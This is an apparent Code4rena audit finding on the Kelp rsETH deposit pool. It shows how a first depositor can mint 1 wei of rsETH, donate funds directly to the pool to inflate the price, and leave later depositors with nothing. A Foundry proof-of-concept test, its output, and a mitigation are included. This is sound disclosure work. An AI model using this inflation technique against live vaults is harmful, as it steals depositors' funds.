# `rsETH` price can be manipulated by directly transferring funds to the pool, and the first depositor can use it to steal from everyone

## Impact

The price can be manipulated especially when the pool is shallow, and the malicious first depositor can steal from others

## Proof of Concept

When the pool is empty, `rsETH` price is fixed at 1 ether. In other scenarios `rsETH` price is calculated based on the total assets in the pool and the total supply of the `rsETH`.  
[https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L52](https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L52)

```solidity
    function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

-->     return totalETHInPool / rsEthSupply;
    }
```

The issue here is that the price can easily be manipulated by transferring funds directly to the pool, especially when the pool is shallow.

You can see a coded PoC below with this scenario:

1. The first depositor deposits 1 wei and mints 1 `rsETH`
    
2. Transfers 10 ether worth of tokens to the pool and the price is inflated.
    
3. Other depositors lose their deposits due to inflated price of `rsETH`.
    

### Coded PoC

**Note**: This PoC uses a mock `LRTOracle` similar to the protocol's other tests. In this mock contract, the `rsETH` price calculation is exactly the same as the code in the scope. The only difference is that the asset price is fixed at 1 ether.

Create a new file in the test folder and copy and paste the snippet to this file. The setup of this file is the same setup in the protocol's other test files.

To run it: `forge test --match-test test_InflateThePrice_And_StealFromThem -vvv`

```solidity
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { BaseTest } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
import { IRSETH } from "src/interfaces/IRSETH.sol";

import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

import "forge-std/console.sol";
import "forge-std/console2.sol";


// This is a mock oracle that mimics rsETH calculation exactly the same as LRTOracle contract.
// Only difference is getAssetPrice function always returs 1e18 instead of fetching it from the Chainlink  
contract LRTOracleMock {
    ILRTConfig public lrtConfig;

    function initialize(address _lrtConfig) public {
        lrtConfig = ILRTConfig(_lrtConfig);
    }

    // This will be the underlying asset price and it will be equal to 1 ether for this test.
    function getAssetPrice(address) external view returns (uint256) {
        return 1e18;
    }

    // This is the same function in the LRTOracle Contract, the only difference is underlying asset price is always 1e18
    function getRSETHPrice() external view returns (uint256) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            // The price of asset will be 1 ether
            uint256 assetER = 1e18;

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }
        return totalETHInPool / rsEthSupply;
    }
}

// This will return 0 as we assume there is no staked balance in EigenLayer
contract MockNodeDelegator {
    function getAssetBalance(address) external view returns (uint256) {
        return 0;
    }
}


contract LRTDepositPoolTest is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));

        // add oracle to LRT config and initialize it the config and asset.
        LRTOracleMock oracle = new LRTOracleMock();
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(oracle));
        oracle.initialize(address(lrtConfig));

        // add deposit pool contract address to LRT config
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        vm.stopPrank();
    }
}

contract LRTDepositPoolDepositAsset is LRTDepositPoolTest {
    address public oracle;

    function setUp() public override {
        super.setUp();

        // initialize LRTDepositPool
        lrtDepositPool.initialize(address(lrtConfig));

        // add manager role within LRTConfig
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();

        oracle = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
    }

    function test_InflateThePrice_And_StealFromThem() public {
        // -----------------------PREPARE & ATTACK-----------------
        // Create the attacker and send some money
        address attacker = makeAddr("random");
        rETH.mint(attacker, 100 ether);

        // Attacker mints only 1 wei worth of rsETH
        vm.startPrank(attacker);
        rETH.approve(address(lrtDepositPool), type(uint256).max);
        lrtDepositPool.depositAsset(address(rETH), 1);
        
        // Attacker's rsETH balance is 1
        // rsETH price is 1 ether
        assertEq(rseth.balanceOf(attacker), 1);
        assertEq(LRTOracleMock(oracle).getRSETHPrice(), 1 ether);

        // Attacker directly transfers 10 ether worth of asset to the contract.
        // This will inflate the rsETH price to ((10 ether + 1 wei) / 1 wei) since total deposited asset is 10 ether + 1 wei, and the rsETH supply is 1
        rETH.transfer(address(lrtDepositPool), 10 ether);
        assertEq(LRTOracleMock(oracle).getRSETHPrice(), (10 ether + 1) * 1e18);
        vm.stopPrank();

        //----------------------- NAIVE USERS DEPOSIT TOKENS ----------

        // Users deposit 1 eth separetely (Note: I used the same account for this instead of creating 9 different accounts, but it works as the same. It is just to demonstrate other people seperately depositing funds).
        vm.startPrank(alice);
        rETH.approve(address(lrtDepositPool), type(uint256).max);
        for(uint256 i = 0; i < 9; i++) {
            lrtDepositPool.depositAsset(address(rETH), 1 ether);
        } 
        
        // Total deposits should be 19 ether + 1 wei (Attaker deposited 1 wei, directly transferred 10 ether, other users deposited 9 ether);
        assertEq(lrtDepositPool.getTotalAssetDeposits(address(rETH)), 19 ether + 1);

        uint256 rsEtHBalanceOfAlice = rseth.balanceOf(alice);
        uint256 rsETHPriceAfterUserDeposits = LRTOracleMock(oracle).getRSETHPrice();
        uint256 rsWorthOfAlice_AfterTransferring9Ether = (rsETHPriceAfterUserDeposits * rsEtHBalanceOfAlice) / 1e18;
        uint256 rsWorthOfAttacker_AfterAllTransfers = (rsETHPriceAfterUserDeposits * rseth.balanceOf(attacker)) / 1e18;

        // Attacker's total cost was 10 ether + 1 wei. Even after just a few regular user deposit the attacker gained value.
        assertGt(rsWorthOfAttacker_AfterAllTransfers, 10 ether + 1 wei);
        // Alice's current token worth is 0 after depositing 9 ether
        assertEq(rsWorthOfAlice_AfterTransferring9Ether, 0);

        console2.log("rsETH price after deposits: ", rsETHPriceAfterUserDeposits);
        console2.log("rsETH balance of Alice: ", rsEtHBalanceOfAlice);
        console2.log("Alice's rsETH worth: ", rsWorthOfAlice_AfterTransferring9Ether);
        console2.log("Attackers rsETH worth: ", rsWorthOfAttacker_AfterAllTransfers);
    }
}    
```

The results after running this is:

```solidity
Running 1 test for test/DepositPriceTest.t.sol:LRTDepositPoolDepositAsset
[PASS] test_InflateThePrice_And_StealFromThem() (gas: 759777)
Logs:
  rsETH price after deposits:  19000000000000000001000000000000000000
  rsETH balance of Alice:  0
  Alice's rsETH worth:  0
  Attackers rsETH worth:  19000000000000000001

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.82ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Tools Used

Manual review, foundry

## Recommended Mitigation Steps

The best way to prevent this price manipulation is that the protocol team depositing some underlying assets to the pool and minting some `rsETH` before opening the pool to the public. Manipulation will be much harder if the pool has already enough ETH.

---

**Note:** The original submission can be found [here](https://github.com/code-423n4/2023-11-kelp-findings/issues/598).
